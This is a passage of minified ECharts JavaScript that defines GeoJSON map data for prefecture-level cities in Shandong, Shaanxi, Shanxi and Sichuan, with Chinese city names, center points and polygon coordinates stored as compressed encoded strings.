„„X„lK@bULUblÆÞV@b‚LXxmV¦ƒV@xƒXVŽğ@±LÅ`™IUlVbƒnšbXšllVnnlVLÈw˜K²ŽšIlanVVVlL„wXlK„VlUXƒma@knwƒWlkšVnU@mVIUl²aVJ‚zXJlI"],encodeOffsets:[[121129,37891]]}},{type:"Feature",id:"3704",properties:{name:"枣庄市",cp:[117.323,34.8926],childNum:2},geometry:{type:"Polygon",coordinates:["@@‚yUU„U„kl@@aVmšLXw°»°w@y„L@UUaWXKƒƒVknwVKlmš_UmmUXK@ašw@k@mUWmUL@ƒ@™@£@KƒbÝV@akw™aULmƒƒbUK™LUU@lm@—°mL@nUJVxVXU`mIUxU@UnU@@lW@@bkLW@UVkKǰkLlŽƒbnUÜÇUUVÇ@@Xkl@XV`UbmbUbU@WxU@¯¦m°nL„aVblVXal@XKlLVVȄ‚L„KôlnbšI@„V@VJ„I@lVVÞaVkXU"],encodeOffsets:[[120241,36119]]}},{type:"Feature",id:"3712",properties:{name:"莱芜市",cp:[117.6526,36.2714],childNum:1},geometry:{type:"Polygon",coordinates:["@@lmnLVlÈVln@VnIšVlx„Vla²_šJlUUUVƒVw²@@mlIn™lKXU‚UUƒVaUašKUVyUUWVUUaVkUK@l@@mlIUwUWlU@w@aU@@LU@Ubm@¯a@V™@UKWUUKUn@LUbUKmlm@UIkJƒnUKUVmIƒb@b@mWm@Un@VVnnVƒl@„¯@@nVb@`U@Un@Ž™¦@V@VU„VnV@"],encodeOffsets:[[120173,37334]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_xi_1_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6108",properties:{name:"榆林市",cp:[109.8743,38.205],childNum:12},geometry:{type:"Polygon",coordinates:["@@™ýVƒnIW»ƒW@»kUÇL—݃U¯¥ÇIUWWїUWwX¯mƒ@»n@ÜÈķô™@a±kȱƒw„ÑmwçċmU»ÆkkVyIm™ĉÿ@ƒÝ¹ƒWnwÇVš™Åaƒzmmĉ¦ó™kVmx™xU¼VškVm_UlVlk„°IV‚kmJa›¦k™™LmmV@XmKnšlUô›VXbƒbƒ@UaÇLğܙ™Åwƒ£mKnmċwÅ@UkƒbmaVƒƒƒn@m¯aU™Jm_k˜@kWXyl@@kÅamw™LU™Þ™ƒ™mWÅzUKƒš™Uk±@™b@nnK‚bX¤mzVšŽVxÇn„‚¯„@ÒknWƒƒVUbkķÈÑWkk@Va™™U@„mUkbƒÝÅ@Ý¥ÇbkĬ™XV`kLǍVmalUUa™nV±nwmkƒJ@Inƒ°KVw¯UnÅ@¥™ƒ™U±bUU˜±œmWbÛKWnUm`UƒVK@bmnœm‚Èż@V„L@xƒxmš„Ť°nŽ@VmK™²VlšlKk„ô@„êÜV@VXLlmš¦UššV°Ș¯²ÿ@¥š@ƁĊ˜²IšmĶnnb°b„KVƒĸLl„Þ@UȮš™Ü°IVƒÞÝސlŽœx@ŽķĀWŽ„Ux„èƐ@š°ŽXnšlĊ˰m„nƒšV„²V°ÒƦ„aބ„˜@zll@bÞšlš¼nKĊ¼óȂb²±šIǪÒ¯ĖV@„lxnVlk„JlaXwŌĉ„„@VnŽššlÆĕ„UÆLœèŌŤôxȚlUœ@šxlaUċĕXm„IWmnkšVVƒ„VW_@aÈWUUmk@ƒ¯çVm»™±W¯n¥V™mkXw±ÇVwƒ"],encodeOffsets:[[113592,39645]]}},{type:"Feature",id:"6106",properties:{name:"延安市",cp:[109.1052,36.4252],childNum:13},geometry:{type:"Polygon",coordinates:["@@@kkÇmIšmUwVkUƒƒU²WmšVkm@m`mIĢĕUƒVa@™mXƒƒÿVVkyUýšĕ@l_UmnƒW„KVkţ™™¥™aƒwğ@™@aôƒ„ƒWa„kUmƒa¯¯™a±£kx™mmxUwÝ@xmU™b¯K™wó„Ý@kmm¹Ub@lklVbmnnVUV@x›UknƧJUX@ŽƒLÇWkw™LķƧÅwWJk„ƒLkþĉxWz™JUnǚkš@Ɛk¼ÜÔÈKšè@°lșÆk¦l„n@l¼@l¯L™°UU™Vǰƒ¹—`m¼mXk‚™bUaƒV@U¯x@¦™Ç™„UUmlmUVm„nnmlkw™@@šƒ¦Å‚ÇLmx¯Iklš„@¦mưVUx¯Lm„@J„InlmxU²šmVbkV‚bUnȎlKU_šWlīÈaÞ¦Æ@„ÞlanV@ƒšVšUbl@XlÇÒĸlŽVa„UX„lm@ѰƒƒÈmUw‚U™nyW£amL@mša²@lšV„™VLÆynX„šÝšVššKnxÆb@lk@WzXŽ@ll—n`šIV‚°b@n„m„„‚Unb„aVlÆ@ČxmnnL„¤ÆxššĠÛÈKVb„@„aWaœU‚ókVm™nL@W‚UnnšKlšœ¥‚bnIlU¯JlƒUkVkn`lUU™V»šwnwlUôšĊ¥nn„yÆb"],encodeOffsets:[[113074,37862]]}},{type:"Feature",id:"6107",properties:{name:"汉中市",cp:[106.886,33.0139],childNum:11},geometry:{type:"Polygon",coordinates:["@@lKnb@n„lWb°bkxĸwVb@ł„nlŽ„ƒĊ¥šL@XŽl™ÈƒVblÈK‚b„akVwôml²`‚nœ@‚nVKœl˜k²xŎƒ°¦VU„JĊw@çnWçރVkUóÛ@¥kwš™šUmƒX¯WšÑkƒ@UymIUwlUn¥‚mUk²a°¯V»@™ÝVș„ÝċÅÅVl»@l@a°±@_kammÅb™a@ƒƒm@ż™KknõĠ—@mšƒ„¯LÅw›‚—LVxmb@¼kV™@mw¯wVakKW»X±¼¯Vkxƒb„¼WŽ@nx@x±bóakbƒ@ÝmU™@ķÓÛL™kƒVUm™k¯¤ÝLUlÝ@Ýz™š„x@x™°™™™bƒmƒX¯aUJW¯—k@bÇWƒwÛwWxƒ@XWlb@Žƒ„VŽÈUlwšLnl°VlUô¦œU°¤VšUxVXUxlbkVVlƒI„°„ÅVlU°m@k„ÇU¯xUlƒLUlVL@b™°ĠInĠ°ÈnK‚„@xÞa²n‚aUyšXUKVkšWô¼Èa‚z°JXUVÇV_„JVƒšz@Žnb"],encodeOffsets:[[109137,34392]]}},{type:"Feature",id:"6109",properties:{name:"安康市",cp:[109.1162,32.7722],childNum:10},geometry:{type:"Polygon",coordinates:["@@„bĊaƨèšwôô„¼šb°ašXVƒÞVUÞ@‚aXƒm¥kImx¯¯ƒV@anU@UÇéğL@ƒ¯¥V£mƒ@ÝÈb„K‚™„X°wČÿ˜ƒ„b@xÈblxȯĊ„„mÆUVƒ„nÈ@ƨÜLĢ¥ƒŹnƒ°Vnn˜K„aô_ȃšwU‚aXmnW‚¯kl›LXƒÇ™ō¦ÝaÅVmbğUn¥±wÅéVƒan¥ƒ„U„»°am¥„£ƒÝ@ƒ„wVw™¥nU„уUmmVwmķIÅaóVWxkblb@ból@œğÒĉ¤ċXƒ˜¯X™xk„Ç@óÆÅx@š™xķ_kmݎǣkblb@`¯²@bk‚‚@k¼ÆUČÆƒÞǚÞU@šU¼¯°±bVlnm¦kVVxnJVz@‚l„™ÒXW°n„™V™šlx@¦ôÜVUl݄Xèm@è"],encodeOffsets:[[110644,34521]]}},{type:"Feature",id:"6110",properties:{name:"商洛市",cp:[109.8083,33.761],childNum:7},geometry:{type:"Polygon",coordinates:["@@²nl‚ôbš„°aVwnKÞIš`°wšXôw°VĊ°@ŽÅš„ÞÆV„zÞK@xšŽ@a‚LŚ@b@ŽnLlƒ@šln„mnLVw„a„bVƒ‚VnbU¼„Vƒ°„bl„šbÈ@ĶŦb˜@nÇ@amIyUI@ĠVmôƒU™ƒVwkwlanJ„¯lwó¥@an°Jš_„‚@š™nóƒó@£l¥UwmašÑ@ƒUm±V_ƒJ—£›J—UW¥¯@ƒ_k¯¼mUƒVUè¯b@wmL™»ğVmağI¯¤ċIUW™XƒKĵ¦ķaƒJUb™IƒlUóVmk@WÅÅÇ@ƒmU„ÅVƒnĉƒÇ°kwÇa@wƒa—„ċxƒWšƒLÇa@Þn„U¤°¦@„ĠKÈê@VmV@b„U°°nwlJn¦W„bÝ@VŽ"],encodeOffsets:[[111454,34628]]}},{type:"Feature",id:"6103",properties:{name:"宝鸡市",cp:[107.1826,34.3433],childNum:10},geometry:{type:"Polygon",coordinates:["@@@ƒ„£@›°Išb@¯°ynʃaUƒlƒU£„Umšĵĉ@@ylUÞ@@£kWU¯WaU£¯ÇV¥ƒ@kb¯wƒn™¥ÇkUÇnUƒ@¯±›kULm›@m±_kŽónUxlŽƒbaÇLkŽUaDŽkšW@™Kĉ¦ƒ„kƒm@ŁUaķxlw¯aXaƒk@mmakL@šmšÛŽ@¼m„@l„XV`ƒn™KUš°°@²š¤UÈ@VxmôƒxKl„VV²aVw„Xla„Vlx@UVnŽÇnk°ƒVVL™lkI™šƒJÇk¯V@šknƘn@lznmlVkzVŽ„VVxš@Ux„z@x±¼VxxU„l‚kb˜@„¼Čk˜VXlĠkôV²w‚LUKlwœJ@a‚IV¥Þƒn¯Ün„‚„@nk˜l²kÆ@š°„aVbnI@™š‚Ťn"],encodeOffsets:[[110408,35815]]}},{type:"Feature",id:"6105",properties:{name:"渭南市",cp:[109.7864,35.0299],childNum:11},geometry:{type:"Polygon",coordinates:["@@@ÈôL„xUް„Þ@mŽÈnl¤nUôL‚wX`@ÞÝL™ŽUšmLô„„ŽôbVbnºlnÞ@ôƒšx°LšanV‚wÞ@Vxnwšnlw²¤šb°°„bVnƒlXbƒ„ó„@bš‚Ġ@„xšbš¦ŤšV™Xġ„£W¥ƽɽƒó@ýóƝÝ»„£X™mƅšĊkUƒ„@™™šó„kťaĵŽÇ@™akƒƒa„¯ƒUV»maUU„ƒaƒbUxmKƒnkm@™k„mK@ƒxó@¯n¯KǦ@ôÅèlxkx°nƒƾ¯KU¯WķL@VÝIUb™yWbX¼Ç°"],encodeOffsets:[[111589,35657]]}},{type:"Feature",id:"6104",properties:{name:"咸阳市",cp:[108.4131,34.8706],childNum:14},geometry:{type:"Polygon",coordinates:["@@šIXyĊwlý„KlƒXIVaķƒ™»a›£„¯aVU@a™‚wÈō‚ašL²»‚VœUln°WȯW»XašzVaÞJ@Uƒ»@¯Ýbğwly@£kÑţ±Wу@ka™IUƒƒnƒ@¯ƒómţU™b™U¯lÇIÝb@¤Ý@kV@zĊ@™ĶnƒVV¤k„V„„bmź¯z@°™a¯J@œƒ¤@„„bUx™bƒ„@`™xUÔ±ºVXœW‚„UnUJ‚L̝ÈKlblmÈXŎ°šU„°LšŽlkÞKš@Èxl_°ĶUÒkblš"],encodeOffsets:[[111229,36394]]}},{type:"Feature",id:"6101",properties:{name:"西安市",cp:[109.1162,34.2004],childNum:5},geometry:{type:"Polygon",coordinates:["@@°²@‚„mVVÈÈlš¦„m°xla„@U¦°ÈV¤XbV°lXÞaÈJ°kšVšaŤVôn°„„@„mV„šJlb„@XÒŤ²lÒ@¤kzĠxÞa@°„¼ĸK°XV‚°L„ƽ¯mlwkwÆç@óÈ¥°L°mô@„w@aƙK@b™@wÝLƒyÅUƒÝƙ@ĉ¯¯Uóx™W¯x™_ÝJmLUx¯b™ƒóak±mÝUU„™W¯b™aƒ»óó™xƧçĉbƒaĉxƒIUV¯¥ō„±w—l"],encodeOffsets:[[110206,34532]]}},{type:"Feature",id:"6102",properties:{name:"铜川市",cp:[109.0393,35.1947],childNum:2},geometry:{type:"Polygon",coordinates:["@@ÆxĸƨšKlxÈX„K@VWƨIlmœV@wVUmUnmUalk@kVaUaóaƒóƒnKV™šÞK@ÝW_xóKmVk£ÇmnÝ@¯ƒVƒwóK@ǯXkm›VU±¼™KbÇŎx‚š@bUV°bƒœ¤‚bš¼ĸ„Ub"],encodeOffsets:[[111477,36192]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_xi_2_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1409",properties:{name:"忻州市",cp:[112.4561,38.8971],childNum:14},geometry:{type:"Polygon",coordinates:["@@Vx@lnbn¦WlnnUšmš°š²VšV‚VVVnUn„ºlz@l„„@Jƒ@kXWVXl@Lƒa@„ƒKUL„ŽlbnKlLnK‚LnKÆXn°šbVV@bUVl°Un@LnaVJUbW@UX²l‚@ČwlVVIšWnkÆa°„„anV‚Kn°™UW¯@™aVUVk@Un@„aV@ValwUanmWU„k@WVUUanaVwnLVl°@nk@mVU@UVK@w„LVKVU@ƒ„K@UUKVUV@@bnL„a‚V„aôšlIXmlKX_°KVV@bVV„@šzV`kblI„V„Ul‚šL@bnV@V„Ċll„„VlIXW@k„a‚U²blKšVnIlJ„albXXlWVn°JnšnL@l@XlJlaX@„X˜W²@l_VmnKšU„blU@mnkVK„¯@U@ƒma@kX¥VƒmakkƒLƒa@aƒ@WIUUVXWWnk@a°a@kkm@kUUmJm@WUUUIk`m@V—kaWWkX™KmƒXk¯ƒ@WKƒLkak@±bƒw@ƒaƒa@akaƒ@ma¯@ƒL—KÇÅkKWbkmġ™±ÅUƒLUK™VVkƒm¯LUVVbƒ„UwUW¯bm„ƒULƒxWJ—@ƒklmkUm@@KnwVkVK@akwƒ@@a¯bƒKkn›VUI™b¯mmbk@UbmKUL@xUUƒ@klmLUŽlVXI‚VVVUVUœU`mLXVWbXnW`Ų°xmށxU@mĉƒƒwU@mbU@UƒmbkVW¦kJ™@ƒX@`¯Im@UlUVVnb@bWJXnmbƒJUU™UUaƒ@UamIkaƒxƒ@@x@b"], +encodeOffsets:[[113614,39657]]}},{type:"Feature",id:"1411",properties:{name:"吕梁市",cp:[111.3574,37.7325],childNum:13},geometry:{type:"Polygon",coordinates:["@@@a@w„@„wlbnJVb„@VbšVVV„InaWmXI@a‚aUmVUVkn@°J@_„Wš@lIX¥lUnaV„V@naV@„xĊ„n‚V@‚wn¯wƱX_WmXaWUnKV_V›VUUUUWJkUVnKlk¯™@@kmKUaٱKkU@WmI@WUIlUUmVwXƒ‚w@ƒUlUVwœV‚@„Lnb‚W@anU@UšaVkô@l»n@na˜JnUÈLVaƃUUVm„VKVƒ²L@mU_lK@UVWkU‚a@a@U¯aUaƒÑóÑUb™„ƒKk@@aƒk¯mVaUwVƒÑkWUmK@UUKmXUWÝwUa™LUU@aWJUUU@Ua݄U@WL@VKVaVI@WnU@alIVKƒƒ@kIƒmIkJ@™m@ƒ™@@_™K@xƒ@kaW@U„@Vmn@ŽUK@mIƒJUXV¤XXWlkKƒkkK@XmJVakImJU@ó™¯LWKUV@nUVƒLkxmKkLma@kXKmmƒLƒab™LmK@V@mXVÆUxƒX@`nL„aV@@VmLUVnLlLš˜„b@„šŽ°²nx@b‚VUxlb@V¯bUV@zV‚XVĊXVx@lVn@VnnmŽUš@LlJXVƒz¯VWVXbšV@bmn™VUVk„Çþń@XVxmbUlV„Uln„W„@„Xl‚@VLXÒ@bÞJ°¦„L˜ò„@nU‚b@°„X@ŽXbmVU„V„nb@x‚x"],encodeOffsets:[[113614,39657]]}},{type:"Feature",id:"1410",properties:{name:"临汾市",cp:[111.4783,36.1615],childNum:17},geometry:{type:"Polygon",coordinates:["@@nW‚@@UnLšK‚a„b„KnnWL@lnblKnLlw„KVU@mVUXL°KôšV@nIlJUbnI@WlL„llLXkWWU£VW„InJ‚@VL@nm@UVƒX@lb„@@wšL@`‚@„šn@V@lw„@n„VmVX„WmwnUlƒœa@_lK„wVlUn°xVKVXXWlUšVVI@K@K„n°KœwlVlU@kna@V_„Wn‚m„UVm@kXml_@m„LlKXw°m@_ôJVUV@X™l@UaV@Va°I„lk»VwUkVmwUmmVn@V¯@KƒU—wmK@U¯wUVÝ@mJƒU—nWK™@@UnKVa„_lykUmKÛnm@™x@ƒUUlwVk™ƒXW@ƒa@Uƒ@@K@ƒkIV™nammVakUlƒ@wX@@kƒ™¯@ƒVVbml@„„°UbULmlVbnbÅK±VƒKVXUJWa@ULWaUU@@U@aWK@UkxUKƒLUUUJ±UkL@V±kk@kam@UV@l@LWl@n@VVUx„LlUUx@VUV™U@aƒIUl™L@°mLU‚ƒbkUUaWUUaUU@aWK—LWJ@bUL@VUVVbU@m@a@kmKmnĉlUK™XƒWUblb—xmIkƒƒU@xWb@lkšVx™LXŽmzVV@bklVVUzm˜@bk„@Vx@xlŽU„@lUbVnl@„Wxnl@n@ŽUbV„mL‚mƒb@`X@lUX@@xlnkLWaUJnnWV™Vn@l„@bULVV@l™V@XnJVX"],encodeOffsets:[[113063,37784]]}},{type:"Feature",id:"1407",properties:{name:"晋中市",cp:[112.7747,37.37],childNum:11},geometry:{type:"Polygon",coordinates:["@@@šlInJ„lJ„@‚„ULkJ@bmV@XUJUb‚L@UXKV@ރVbV@VVXI@bVVšKVbÞxVXnWVL@VnLV‚lX„ÒUŽVxUb°n„l@bl@„LšƒVaô҄ÒVb°b@VnLnnV@lmn@lb„U„V@„‚JœUVV‚Xkl@lUzmJ@xšXkl‚bUn„JVšUb„nU‚lb„V@nlLX@lakšV`Ub°š@XVJnU‚L²KlxnI@KV@lbUbVV„KnVl@„zlm@Uš@nŽšI@WUaVl@@mVU„@XkW@ƒnkVKVƒ„_Vw„y@knwVa‚@XalU„@šVnml@„X@V„L‚KVaÞbnnlJšI„mVKn„VVVInVlU„@„m@™mXK@UmyUI@mWUUakamw@wUwmLkakwVƒmK™w@wUam£y@am_ƒW@™UU@knmm„amU@WUa@knw@ƒUUUUV@nƒJm@mVUkKVUUUkKmwƒKULƒKUImV@lUn™nŽm@mbUK@°™bUnmbUmkkƒWUb@am@UXkK@a±@™V™@ĉř„V‚UXVxUVkLWl¯@@bULUlm@@nm`—XƒlWakIkm›VUbUL@Vm@kIƒ@@Kšm@—VaX‚I@W@aU@kUƒVU_™KƒbƒJkkǎ™b@nkKmL™wÅW@kVUUƒVU@WUIƒJmIXmma@_kyVaUUlkUm@ƒkU›x¯Lƒm@L@LUJ™UkVWXUWUL¯wVmUkƒxkL@`›bk„mVnxƒXUWUnmƒƒ@kxU@"],encodeOffsets:[[114087,37682]]}},{type:"Feature",id:"1408",properties:{name:"运城市",cp:[111.1487,35.2002],childNum:13},geometry:{type:"Polygon",coordinates:["@@„Vl„nJ˜wkaVa„XšWVLĊknmnL‚l@@bn‚V@UaVU@UVK@aXI˜KXL@bVVVbXVVblV„aVnK@¯šKVk„J@bšVVU@UVwkVƒKVwUUm@@Xk@K@kVUn@lbl@²l@UlK²VVIVV„KVLlw@VXL@b@VV@VŽXbVK‚@XbVIUW„L‚U²ÆLmaUankVKVaƒ¯@ƒnkUa„U°@„š‚n@@kWa„UVaXUW@IXKVw@U™ƒ„™WU@W@@UUƒU@mn@ƒ`m@UUULkUmJ™IUƒ@@UƒK@U@›anƒ™ak_@wmKUwmakV™kmK™V™k¯b™wƒ`kwUIÇx¯»ÇaŃmn@@™mƒmUkV@wkKW@kxmL™UkĉLÝk™xÝw¯lóVU„mV@ĀVVX¦W¤kz@`Vx°„²ĸ‚š@„Ul@x„êĸNJ°¤V„VlXLWnXxmV@nUl@„"],encodeOffsets:[[113232,36597]]}},{type:"Feature",id:"1402",properties:{name:"大同市",cp:[113.7854,39.8035],childNum:8},geometry:{type:"Polygon",coordinates:["@@²£šyl@Ȑ˜Ė@bĸŽĢbĸ„˜X„a‚KŤnn@ŎôllÈx„nVnÞDŽV@b‚nXllL°KšbVb@J@b—„‚„@ŽU„„xlKXLlKlXk„@Ulk„JlkUƒVKXUƒÇVIVm@_nǚLšašl‚w„VnU@UUwma@aƒaÝaLmUk@@Wƒ@U@@X™wVWÝUUUk@@VmLƒKV»nwUw™aUL@`mzƒJUIVƒUaUw™KUaVIlJôanÑlLVUn@ša„@VV„@@UUwVK°Vn_lJÆLœéW@UUUÅ@»lm@aÞIVwXW˜UUkkm@U@aƒU@mwU£VWU_kWmƒXwW_°yUkkK@UÇK@kkUVymóK—U@KWIƒbUak@mJ@bkbmLkŽ™UmƒkVU„W¦@lnb@„@Vƒ°ULml@nkVƒa™VmLUnk`±@—XƒWW@kbǦXޝ„WxI@xmbmxXlWV„„@bŎUz@J‚b@bÞb™ŽU@Wbk@ƒxk@WX¯VۙƒWÝbÝUkVUU@alI@a@akLWa™m@U¯UUmÇL@K@aU@¯VUkƒKmX@`@œkJ@nV‚Ub@lbVÆXVW„ULU`VbkLUV@XWl@bXJ˜@VbV@Vl"],encodeOffsets:[[115335,41209]]}},{type:"Feature",id:"1404",properties:{name:"长治市",cp:[112.8625,36.4746],childNum:12},geometry:{type:"Polygon",coordinates:["@@Uk™Lky@I‚JVa@mÞaWšy@_W@_WƒXVlUVwš@nw°K@m„UƒVaƒmVkU@mmmnLVUmKXa™U@IlKVUnK@UmWkX@WV_Vƒ@akU@a„KWIXyƒIUVmUn™Ua@WaXUVKVmkUWVkUƒLU@@VƒbƒKbƒIUmƒ@mbVL—x›WUUkn±V¯wƒbÅJUbmLkbmKÅKƒbVnUbƒV™KUb™KUbmLKmƒb™aƒKkUm@UŽnn‚VnxUVlUxl¼ƒk¯JUbU@Vbk@WšU@UVóI@`¯nWxkLƒK@nk`Wn@lUnƒVnm‚ƒXU`@mb@lkV@„VnklVVUblz@`nbWnnJ„IVJ@XUVV„UV@lÆXšxnKlL@mšaȍll„I„ašLV`„UlVV@@b@XJWUb@˜™n@L„@lJn@@UVKVaœUlnlJXb„k˜Wn_@mn@VkVK@a°@XklKVUUwVWUšƒĊƚ@šU²@@blLVWn@@bVa„XllVnnaVmša@¯VLnan@‚šmVm@knUVJ"],encodeOffsets:[[116269,37637]]}},{type:"Feature",id:"1406",properties:{name:"朔州市",cp:[113.0713,39.6991],childNum:5},geometry:{type:"Polygon",coordinates:["@@XXWVXVWnnlnn@èÆ¼@„„xlš„ŽV„nblšššVŽÈUVl‚š@„blnœL܃ĊmUkU@Ua‚—@WI@aXk@WVUlKUaV_VKXƒWUUÅka@VaU@mlI@›@_nW„LVl°UV@@b@LÈKVn°V@VšnXblK@b@bkJ@bVVlUÞVÞa„Xܚ°UXWl@„wl@XaV@šÝa@aa@IVyƍ@aƒƒXUWknwna@w‚JXw°ƒWÈ¥kI@W@kmKm™¯IUmkXWWkaƒbkImJ™UkL±aVƒb@lWXkJƒUkƒĉkƒ@UmU@a™KkƒVƒUkJlaU_™yƒ@UU@aUU¯LW`kLWnkJó™ƒbUƒbmK@aU@UVVL@VƒL@„UVULƒK@xUL@VUV@nml¯@UkmKUxmbVbUV@XƒlXVmnVbkxUbU@ƒbm@@VUlUVšb°@VX¯šm‚"],encodeOffsets:[[114615,40562]]}},{type:"Feature",id:"1405",properties:{name:"晋城市",cp:[112.7856,35.6342],childNum:6},geometry:{type:"Polygon",coordinates:["@@lV„Lšb„an‚LnKVašLVašL„UVaUm„aÆLnLlanKVaÆI„a°x²UlmVVœX˜wUKna„@Vn„J‚a„L„a@UV@@alUkKVKnkmmVwUk„w@ƒ™@kxWUXƒW@@mƒk@aUa@a¯aƒLkKmwkUm@kL@K@aWIXmƒVƒXƒWkUVakL@UVKƒw@aUK@UUKmLU@¯n™KUwVƒUIWJUWmka™@UXƒJƒk@UkmW@kLWKVƒx@bmI@VUaVU@a¯@UUmVKmX@±`kÝKVxUL±akL@V™bƒLkKmVƒ@XWVUbƒVXb@lm@@lW@@xk„lVUbnnmbUšlJ@„@L„@@V„b@‚WXš„UlkxVV@„šwn@ÜmnLlVkzƒ`UbmL@Vš@XL˜m„VnIÞ@VU°x@VnL˜x„V@LU°"],encodeOffsets:[[115223,36895]]}},{type:"Feature",id:"1401",properties:{name:"太原市",cp:[112.3352,37.9413],childNum:5},geometry:{type:"Polygon",coordinates:["@@„@VV@wVKnLVal@na°nšaVJœUlm„L°a@b„@lx@bULUlmx@Ln@lVkn„l˜@XI„w‚K„Vnƒ°aVXVx„ƒUaVU°K„nUlšUVL„KÆVš²Ģ‚lnXalLÈÆ˜L„KUaVkUanmWU™a@WwkUWU¯y¯Ñ@anIl@@aVU„m„I„ymUƒLUUVakaU@@LmJkw±LKmVUI@W¯™VaU_l™kbW@kK@mƒUkaVƒmVaU™ƒIVmalk™W@wnIVy@klkWUU›VI@ƒƒUƒVkam@knU@mmmK@bblVUX@VkLV`@n±KU„ULƒ‚UnVVńUbÇKmV—Imbm@k¼ó@Ul™b@VmV@bXmaƒK@›UUxkV‚V@„xW„UxVnkVVJ@XnJ@XlV²LƂVbnL@lš@°"],encodeOffsets:[[114503,39134]]}},{type:"Feature",id:"1403",properties:{name:"阳泉市",cp:[113.4778,38.0951],childNum:3},geometry:{type:"Polygon",coordinates:["@@°@nb„@lb@b„b„b‚@„x²al@lb„KXU@m‚kUWkkmUUƒVwV@XUW@™naVklKXblKnL‚ƒnLVanImaXKlL„ašV@U@KUKW„alƒXK@£WKXUV@VU„ƒUUVW„_V™@W@@K„@šƒUƒƒIWmXUmƒULƒn™JkImmÝaUbLƒK@UƒWk@mn™Uƒ@kVWb@Ubmx@lƒzUxƒ`U„ULml@„XWlƒ@UV@nk@U‚Vb@X™Jm™@@Vknƒyk@ƒzƒJƒnUV@bk@mJ@b°Ò°zXVlVXx‚@šbXVmnVbUlVb"],encodeOffsets:[[115864,39336]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/si_chuan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5133",properties:{name:"甘孜藏族自治州",cp:[99.9207,31.0803],childNum:18},geometry:{type:"Polygon",coordinates:["@@ƒaXamƒ¯wm@±°wUwV@UaVw²Kš™„U@UƒU„¥‚a„ƒ@£Þ™ôx‚Knkm™X¥™IUƒÝUwlk°V„@ƒÈ™‚KUwlkUyV¹„mšx²Xll„ÑW»š„l„w°UŎ„nƒ„„˜Jœƒl¯°V@wôIVÇn™nUllšLšVǚLô¼XW£@±„@¥k_ÇJƒkUéƒkšƒƒwXa@ƒšLlw²™Vx„b‚mš¼ÈxlLȃ„VWÞn¯mǙÑUÝlÛkwlĉmƒULmwUJ™ç@wkm@ÑlUX™ƒÑôġƒVa™ƒUф¯@wķÓkbV„mnU@@y¯IķKƒV@¹šaƒé@k„mÞU°¥@a¯@anKlblU„¥@óğç@Çw@wkla„çݱk¯±@ğÝUÛmݯwƒ@kb±¯akXWÜkXUÆÇUš¤X_Ɛw„V@¤ƒXU‚ƒbUƒŽƒIUlÇUkŽġ@™aXČmlUlèUV@„mVk¦Vxš@¦±š¯ƒƒ¯¯anlWš¯nƒƒÅw@w°KVak£m@klƒKknÇU™»óKšīlaUaV£@™™¯@ƙU™VƒÛÝÇXƒÇl—ÓlŹ„»WUğJ¯£mx™Lĵô›ºX„VlUll²bl„„lŽƒxónn°ÝšU¼mJUš¯nƒƒƒV@êĉ°Uĸ™w™@mƒ@¯kmXamѯaUwÝKU¥„mÅn¥Wmn™ƒ¹n±ƑƆÇôXê±NJnšƒ‚UôlĖkȂVÒ¯¼VnƒȮ¯ĀnƆ˜Ģ@Žk°V°¯ĢVlkšVxm¼X²™Ŏ@ŽVxknWܰU‚¯n™ÆÝœ@`„ôݲÒƒ‚Çzn‚mX@x„è°K°Å„UČĬóĖ݄ƒ˜ó¼ÅêƒÒƒbmšk@V„Ž˜„@ҁl@nĉܛê—x@Ėml՛J¯¦óxȭ°ÝmޝLĵè›Ā@Ɓ„l°żƒ‚šX@xmŽkV@z@‚„°blŽnÞ°J@bn@ƼUVƒUóŽóLƒ°X°ÝLƒxUn„°ƒĬƒn@lnL@ŽÆ@šn„KÆxnUnV˜InĬmÆnxŎ¼ĊIĢóÞ@ĊƒƨbUƒ‚mV¥lkƒ‚wnL„mšÅÆ¥Xƒ˜wU@w‚wUÞ™@alUUŚU™Vkkm°aU—°Ó°w°U„ƒ„b°aš²K˜¯œĕ˜@ÈbޏĊaš»„XVm°In„‚Ĭk¼Vb„ašJšôš£VĊan™‚k„ů™™nƒÜU@anKnĮ‚bÈmƎš»nI‚霣Ġ™"],encodeOffsets:[[103073,33295]]}},{type:"Feature",id:"5132",properties:{name:"阿坝藏族羌族自治州",cp:[102.4805,32.4536],childNum:13},geometry:{type:"Polygon",coordinates:["@@l@@þ²I@lƒ„VL°wnJ°Uĸ™Ŏè„Ilw„V°¤nĮ™¤Ý„lè„L@„ƒ„@x„l™è²ôĊ_ĊġVÈôJżīlbXšÆÈVŽkxÇVƒ„n°„¦Üb@è@nn@@°šUÈ¥WDŽ_Uala¯¯UǙkƒ»„mVwk»˜k²°VxlL@¤œ_@x‚`ȍ‚Ėöb˜š@l²alX„a@bnK°¦VK@nnWmx@nUnl@@lƒlĉk°l°UXkmW@Unš`k„ÇL„ŽW„ÛÈVxšVVlVk@l„IXb@ylXÈW˜Į„WŤzœy@šmIƒŽ²šJ‚š@nް@V„„J°a„Å@ƒŎkVǚk™aUw„KVw™™Vƒ„@nkm™@±ôkô™ĊJš¼šInÑm±nIššÞ‚XȃĊxĊUÈbÜyÈ£Vkw@kVUV™„m@ša„»ÜbÈmƒUXwÝxƒUn¥@°ġ™Å‚aœJVk™aW¯Û@W¥—UŏĶ™@¯kUƒŃ@ašI@mmanwސ‚W@œ™mw°»Uřk¹±W„xVx¯¦U°ƒzţW™w@°ÇVÑk¯@„y°aš£š@šmšnl¼„ašÝÝakwUƒ±aĉImlĵn@ƒm@kkVƒ¯Ñm™ĸ™°x„l™œ@˜ƒXVÞmlÛݙĉUÅ¥mwÅ¥VaUw›™XġċaVůÛŹlwU¯U™ó±™xÛV±¯¯n¯mċƒLmnĊm‚™@™_kJWaXmwUƒĉK™»™@mwX݃UDŽkKÇw™»nƒaUw±škx™K@„Wb„x™„„lVê„lÈIl`@¦ƒŽ@²X¤Wó»™KUșŽ™KkkmVmšUÈóJ@x¯Uk°›„—Iƒƒm„ōƒ¯Vƒxƒk™ŽX¼ƒÒkk±W™wƒnUºVzklVxLǚ@„ƒŽ¯UklVxސV„šJW¦nšmlLówݚ@¤ƒ„bƒ¦„V@VƒV™š±LUxVbU@Vx¯x@²n‚°xn„Wb„b"],encodeOffsets:[[103073,33295]]}},{type:"F